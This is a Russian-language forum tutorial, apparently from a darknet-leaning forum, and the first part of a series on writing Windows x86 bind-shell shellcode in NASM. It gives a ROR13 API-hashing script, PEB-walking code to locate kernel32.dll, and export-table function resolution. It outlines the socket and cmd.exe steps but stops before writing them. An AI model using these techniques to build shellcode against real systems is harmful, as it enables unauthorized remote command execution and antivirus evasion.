✍️ Статья Пишем шеллкод под Windows на ассемблере. Часть 1

The 146X Project Dublikat Web Studio Avram Lincoln AL Service Navigator Knyaz

BlackPope

Команда форума
Модератор DeepWeb ✔️
PR-Group DeepWeb 🔷
Регистрация
27.04.2020
Сообщения
230
В этой статье я хочу показать и подробно объяснить пример создания шеллкода на ассемблере в ОС Windows 7 x86. Не смотря на солидный возраст данной темы, она остаётся актуальной и по сей день: это стартовая точка в написании своих шеллкодов, эксплуатации переполнений буферов, обфускации шеллкодов для сокрытия их от антивирусов, внедрения кода в исполняемый файл (PE Backdooring). В качестве примера я выбрал TCP bind shellcode, т.к. на мой взгляд — это лучший пример, потому что все остальные базовые шеллкоды имеют много общего с ним. Статья будет полезна для специалистов по информационной безопасности, пентестеров, начинающих реверс-инженеров и всем, кто желает разобраться в базовых принципах работы ОС Windows. Плюсом — улучшаются навыки программирования. Начнём, как и всегда, с подготовки.


Подготовка​


Для хорошего понимания статьи вам понадобятся:
  • базовые знания ассемблера. В статье код написан на NASM Intel x86;
  • базовые знания системного программирования для ОС Windows или хотя бы Linux.
Поскольку весь код шеллкода будет на ассемблере необходимо определить ряд правил, которых мы будем придерживаться в процессе написания шеллкода:
  • каждая подпрограмма (функция) использует свой стековый фрейм;
  • аргументы функции помещаются в стэк перед адресом возврата из этой функции;
  • перед началом работы функции выделяется необходимое место в памяти для локальных переменных, используемых в функции;
  • результат выполнения функции сохраняем в регистре EAX. Также делают и системные функции Windows.
Это общепринятые правила программирования на ассемблере и по своему опыту добавлю — благодаря им код становится понятнее. Однако ими можно пренебрегать в случаях, когда, например, мало места для написания полноценного шеллкода.


Инструменты​


  • Windows 7 x86. Я её установил в качестве гостевой виртуальной ОС;
  • любой отладчик. Мне нравятся ollydbg и immunity debugger;
  • winrepl — программа, что позволяет выполнять инструкции ассемблера в режиме реального времени. Очень помогает, чтобы тестировать малые участки кода;
  • PEview — программа для анализа структуры исполняемых файлов и библиотек. В нашем случае полезна для анализа библиотек: kernel32.dll ws2_32.dll. Во время работы с ней я столкнулся с одним небольшим недостатком — старшие байты адресов функций и библиотек отличаются от адресов этих же функций и библиотек в ходе выполнения инструкций в шеллкоде;
  • компиляторы nasm и gcc для создания исполняемых файлов из кода ассемблера;
  • Любой дистрибутив Linux. Я использовал Ubuntu 20.04 в качестве хостовой ОС. Необходимо для использования утилит: objdump, grep и т.д.
python-скрипт для преобразования имени функции в хэш. Хэш от имени функции необходим для работы алгоритма поиска, который будет рассмотрен далее.

string2hash.py

#!/usr/bin/python
# -*- coding: utf-8 -*-
# string2hash.py

import sys

def ROR(data, shift, size=32):
shift %= size
body = data >> shift
remains = (data << (size - shift)) - (body << size)
return (body + remains)

if len(sys.argv) != 2:
print("Enter argument: string")
sys.exit(0)

word = sys.argv[1]
result = 0

for i in word:
result = ROR(result, 13)
result += ord(i)

print(hex(result))


В процессе написания шеллкода я буду кратко описывать аргументы используемых системных функций. Для более подробного изучения возможных значений аргументов можете воспользоваться ссылками на официальную документацию, которые будут даны к каждой функции.


Общий алгоритм шеллкода​


По сравнению с созданием шеллкодов в Linux, где нужные нам системные вызовы имеют свои уникальные номера, в Windows дела обстоят несколько сложнее. Во-первых, чтобы вызвать необходимую системную функцию нам необходимо знать её точный адрес в памяти, а поскольку все современные ОС имеют Address Space Layout Randomization (ASLR), то необходимо реализовать алгоритм, который будет находить адреса нужных нам функций без привязки к конкретным адресам. Во-вторых, аргументы функции помещаются не в регистры процессора, а в стэк. Учитывая вышесказанное, общий алгоритм шеллкода будет таким:
  1. Найти адрес kernel32.dll. В этой библиотеке находятся функции, необходимые для дальнейшей работы нашего шеллкода;
  2. Найти адреса функций kernel32.dll: CreateProcessA, LoadLibraryA, ExitProcess, GetProcAddress;
  3. Загрузить в адресное пространство нашего процесса библиотеку ws2_32.dll при помощи LoadLibraryA. Это необходимо, чтобы пользоваться функциями этой библиотеки для работы с сокетами такими как: WSASocketA, bind, listen и т.д.;
  4. Найти адреса функций библиотеки ws2_32.dll: WSAStartup, WSASocketA, bind, listen, accept;
  5. После того, как все необходимые функции найдены, можно приступать к их вызовам:
  6. — Инициация использования нашим процессом библиотеки Winsock DLL: WSAStartup;
  7. — Создание сокета: WSASocket;
  8. — Привязка его к интерфейсу: bind;
  9. — Перевод созданного сокета в состояние listening;
  10. — Приём входящего сетевого соединения: accept;
  11. — Создание процесса командной оболочки cmd.exe для выполнения команд в ОС по сети;
  12. — Завершение родительского процесса: ExitProcess.


Написание шеллкода​


Определение адреса библиотеки kernel32.dll​


Для каждого потока (выполнение нашего кода происходит в потоке) в Windows есть структура, в которой хранится информация о процессе, в котором живёт наш поток. Мы можем обратиться за этой информацией. Хорошее объяснение что это за структура можно найти здесь. Адрес kernel32.dll мы можем получить из следующей цепочки:
  1. Из TEB структуры получаем адрес PEB-структуры;
  2. Находим указатель LoaderDataPointer который указывает на другую структуру: PEB_LDR_DATA;
  3. После находим InMemoryOrderModuleList
  4. Находим 2 и 3 вхождения.
  5. После чего получаем адрес kernel32.dll.
Получение адреса kernel32.dll

;=====================================
; Find kernel32.dll base
; kernel32.dll in high address space
; that's why we don't need to xor eax
;=====================================
find_kernel32:
mov eax, [fs:0x30] ; PEB
mov eax, [eax + 0x0c] ; PEB->Ldr
mov eax, [eax + 0x14] ; PEB->Ldr.InMemoryOrderModuleList.Flink (1st entry)
mov eax, [eax] ; 2nd Entry
mov eax, [eax] ; 3rd Entry
mov eax, [eax + 0x10] ; address of kernel32.dll
ret


Подобные участки кода удобно анализировать в winrepl'е.


Алгоритм поиска функций​


После того как нашли адрес kernel32.dll мы сможем находить адреса функций внутри этой библиотеки. Чтобы лучше понять алгоритм поиска функций в библиотеке нам понадобится PEview. В этой программе открываем C:\Windows\System32\kernel32.dll. Тем, кто хочет более детально разобрать структуру PE (.exe) файлов, рекомендую почитать здесь. Затем в искомой библиотеке (в нашем случае kernel32.dll) находим Offset to New EXE Header: PEView kernel32.dll — offset to new EXE header

PEView
kernel32.dll — offset to new EXE header

bZn-Q9JHdqI.jpg


После того как нашли нужное смещение, находим адрес EXPORT Table:

PEView kernel32.dll — Export Tables

kdvzdjzLfIE.jpg


В этой таблице нас будут интересовать следующие значения:
  • адрес Address Table. Она содержит адреса функций библиотеки;
  • адрес Name Pointer Table. Она содержит имена функций библиотеки;
  • адрес Ordinal Table. Она содержит значения, которое используется для подсчёта смещения в таблице Address table;
  • общее количество функций в библиотеке.
PEView kernel32.dll — Image Export Directory: RVA of tables

EGC-aW5T4YA.jpg


В случае с общим количеством функций есть 2 нюанса. 1-ый нюанс заключается в том, что иногда количество функций, полученное из файла может не совпадать с количеством имён функций самой библиотеки, тогда в нашем алгоритме поиска возникнет исключение и его необходимо обработать. С другой стороны, зная количество функций, мы можем остановить поиск, когда дойдём до 0, таким образом, корректно завершая цикл. 2-ой нюанс в том, что если вы точно уверены в том, что вы найдёте нужную функцию в библиотеке, то вам не нужно знать и использовать общее количество функций. В таком случае необходимо переделать цикл поиска имени функций: не уменьшать счётчик от общего числа функций к 0, а увеличивать на 1 начиная с 0.

При поиске от общего количества функций к 0 в ws2_32.dll у меня возникало исключение, поэтому, можно или использовать системную функцию GetProcAddress, которая позволяет средствами системы получать адрес искомой функции, или переделать алгоритм поиска функций, как описано выше: от 0 и выше.

С учетом вышесказанного, напишем алгоритм, который может искать функции в любой библиотеке. Это полезно в случае, когда нам нужно искать не только в kernel32.dll, но и, например, в ws2_32.dll. Как аргументы мы передаём хэш имени функции (алгоритм хэширования будет рассмотрен чуть позже), и базовый адрес самой библиотеки, в которой будем производить поиск.

Алгоритм поиска адреса функции в библиотеке

;=====================================
; Find function name
;=====================================
; 2 arguments: hash of function name, base of dll
;=====================================
find_function_name:
xor esi, esi ; clear ESI register
push ebp ; save old EBP
mov ebp, esp ; new stack frame
sub esp, 0xc ; 3 local variables: 12 bytes
mov ebx, [ebp + 0x0C] ; save <>.dll absolute address in ebx
mov ebx, [ebx + 0x3c] ; offset to New EXE Header
add ebx, [ebp + 0x0C] ; absolute address to New EXE Header
mov ebx, [ebx + 0x78] ; RVA of Export table
add ebx, [ebp + 0x0C] ; Absolute address of
; Export table IMAGE_EXPORT_DIRECTORY
;=====================================
; 0x14 - Number of Functions
; 0x1c - Address Table RVA
; 0x20 - Name Pointer Table RVA
; 0x24 - Ordinal Table RVA
;=====================================
mov eax, [ebx + 0x1c] ; RVA of Address Table
add eax, [ebp + 0x0C] ; Absolute address of Address Table
mov [ebp - 0x4], eax ; 1st local variable: base of Address Table

mov eax, [ebx + 0x20] ; RVA of Name Pointer Table
add eax, [ebp + 0x0C] ; Absolute address of Name Pointer Table
mov [ebp - 0x8], eax ; 2nd local variable: base of Name Pointer Table

mov eax, [ebx + 0x24] ; RVA of Ordinal Table
add eax, [ebp + 0x0C] ; Absolute address of Ordinal table
mov [ebp - 0x0C], eax ; 3rd local variable: base of Ordinal table

mov ecx, [ebx + 0x14] ; Number of functions
mov ebx, [ebp - 0x8] ; place address of Name Pointer Table

;=====================================
; Fund function loop
;=====================================
find_function_loop:
jecxz find_function_finished ; if ecx = 0 => end
dec ecx ; moving from Number of functions => 0
mov esi, [ebx + 4*ecx] ; get RVA of next function name
add esi, [ebp + 0x0C] ; base of function name

compute_hash:
xor edi, edi
xor eax, eax
compute_hash_again:
lodsb ; load char of function name
test al, al ; is it end of function name? \0
jz compute_hash_finished ; end
ror edi, 0xd ; bitwise shift right
add edi, eax
jmp compute_hash_again
compute_hash_finished:
find_function_compare:
cmp edi, [ebp + 0x8] ; compare our hash with calculated
jnz find_function_loop
;=====================================
; Get address of Function
;=====================================
mov ebx, [ebp - 0x0c] ; get ordinal table base
mov cx, [ebx + 2 * ecx] ; extract relative offset of function
mov eax, [ebp - 0x4] ; get base of Address table
mov eax, [eax + ecx*4] ; get RVA of our function
add eax, [ebp + 0x0C] ; get base of our function
find_function_finished:
leave ; mov esp, ebp; pop ebp
ret


В начале алгоритма (метка find_function_name) поиска функции очищаем регистр ESI, подготавливаем стековый фрейм, находим все необходимые для нас таблицы и сохраняем их в локальные переменные (код до комментария «Find function loop»).

После чего, начинается цикл поиска функций. Сперва проверяется значение регистра ECX. Если мы прошли всё количество функций, указанных в библиотеке, то поиск завершен (инструкция jecxz find_function_finished). Если нет, то находим имя функции из таблицы Name Pointer Table в соответствии с значением нашего счётчика. Затем, высчитываем хэш для полученного имени. Хэш высчитывается от имени функции с использованием побитового сдвига (метка compute_hash_again).Полученное значение сохранятся в EDI. Когда нашли конец строки, то считаем, что хэш подсчитан и затем сравниваем его с нашим искомым хэшем. Конечно, нам необходимо просчитать хэши нужных нам функций заранее, можно при помощи скрипта, который указан в разделе «Подготовка». Если хэш не совпадает, то мы берём следующую функцию и продолжаем поиск (инструкция jnz find_function_loop). Если же хэш совпал, то по Ordinal Table находим адрес смещения нашей функции в таблице Address Table и затем высчитываем адрес нашей искомой функции (комментарий Get address of Function). Поначалу, шаг с получением смещения из ordinal table мне казался избыточным и я просто находил смещение умножая значение счётчика (в ECX, порядковый номер функции) на 4 (каждые 4 байта для новой функции по таблице). Однако это работало далеко не всегда, переделав алгоритм с использованием ordinal table, мой код стал находить нужные функции всегда. Сохраняем результат в EAX и переходим к написанию основного тела шеллкода.

Продолжение следует…
 

📌 Золотая реклама

AnonPaste

Верх